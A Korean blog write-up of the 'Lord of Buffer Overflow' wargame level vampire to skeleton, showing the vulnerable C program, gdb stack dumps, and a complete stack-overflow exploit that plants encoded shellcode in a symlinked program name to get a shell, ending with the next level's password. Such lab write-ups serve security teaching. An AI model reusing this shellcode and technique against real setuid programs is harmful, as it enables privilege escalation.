vampire / music world
/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
buffer도 0으로 초기화 시키고 있으며 argv 인자들을 0으로 초기화 시키고 있는 것이다.
기존에 해왔던 공격 방법들 중엔 쓸 만한게 생각나지 않는다. gdb로 복사한 skeleton 파일을 실행해보았다.
그리고 스택을 들여다보았다.
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/skeleton `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Breakpoint 1, 0x8048506 in main ()
(gdb) x/1000s $esp
0xbffffa88: "Ϝ202\004\b \034\002@¸"
0xbffffa97: "@[\205\017@4\227\004\b`®"
0xbffffaa3: "@\004ÿ¿ꚲ04\004\b \227\004\b4\227\004\bٺÿ¿ʜt\003@\002"
(생략)
0xbfffff72: "HISTSIZE=1000"
0xbfffff80: "TERM=xterm"
0xbfffff8b: "HOME=/home/vampire"
0xbfffff9e: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffffe1: "/home/vampire/tmp/skeleton"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
스택의 가장 아래쪽(가장 큰 주소)근처에 실행한 파일명이 나온다. 즉, argv[0]이다. 여기에 쉘 코드를 존재하고 retn 주소를 주변으로 잡으면 어떻게 될까? 일단 실행파일명에 쉘 코드가 들어가야하므로 이전에 troll 문제 풀때 사용했던 심볼릭 링크 방식을 이용한다.
buffer의 주소는 ebp-40이다. strcpy의 인자로 ebp-40이 들어가는 것을 보면 알 수 있다.
0x80485ee <main+238>: push %edx
0x80485ef <main+239>: lea %eax,[%ebp-40]
0x80485f2 <main+242>: push %eax
0x80485f3 <main+243>: call 0x8048440 <strcpy>
0x80485f8 <main+248>: add %esp,8
[vampire@localhost tmp]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost tmp]$ gdb `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` -q
(gdb) b main
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/vampire/tmp/鐞1ɱ2lÿ瀵ÿÿÿ2i00tii0cjo㐔⚱
`python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Xshell
Breakpoint 1, 0x8048506 in main ()
(gdb) x/500s $ebp
0xbffff9a8: "ɹÿ¿ʜt\003@\002"
0xbffff9b2: ""
0xbffff9b3: ""
(생략)
0xbfffff12: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"
0xbfffff55: "/home/vampire/tmp/", '\220' <repeats 50 times>, "ꚰ21^1ɱ2\200l\016ÿ\001\200蚰01u05髿ÿÿ2i00tii0cjo\212㐔\212ᚲ32±\f͜201", '\220' <repeats 50 times>
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
tmp 디렉터리를 /home/vampire 밑에 만들어서 내부에서 작업했다. skeleton 실행파일도 tmp 디렉터리 내부에 복사해서 사용했다. 우선 심볼릭 링크를 만든다. ln -s 원본파일 심볼릭링크파일 형식이다. 심볼릭 링크파일 명은 \x90 50개+쉘 코드+\x90 50개이다. 처음에 \x90 100개+쉘 코드 형식으로 하니 원하던대로 작동하지 않았다. 찾아보니 스택 가장 하단에 가깝게 쉘 코드가 존재하면 문제가 있다는 글을 보았다. 심볼릭링크 파일로 gdb를 실행한다. 스택 젤 아래쪽에 쉘 코드가 저장되어야하기 때문이다. argv[1]에는 임의의 값을 준다. 별 의미는 없다.
x/500s를 사용하는데 x/s $ebp는 $ebp 주소에 저장된 값을 문자열 형식으로 보여준다. 0xbfffff55에 argv[0]이 들어가있다. retn 주소는 \x90중 하나인 0xbfffff85으로 설정해야겠다.
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
[vampire@localhost vampire]$ /home/vampire/`python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x85\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿ¿
bash$ my-pass
euid = 510
shellcoder
bash$
tmp에 복사한 skeleton 파일을 대상으로 실행해보니 바로 성공했다. 그래서 /home/vampire 디렉터리 내부의 skeleton 파일을 대상으로 실행하니 역시 성공했다.
skeleton의 비밀번호는 shellcoder이다.
'Lord of Buffer Overflow' 카테고리의 다른 글
golem -> darkknight (0) | 2023.01.26 |
---|---|
skeleton -> golem (0) | 2023.01.25 |
troll -> vampire (2) | 2023.01.24 |
orge -> troll (0) | 2023.01.23 |
darkelf -> orge (0) | 2023.01.21 |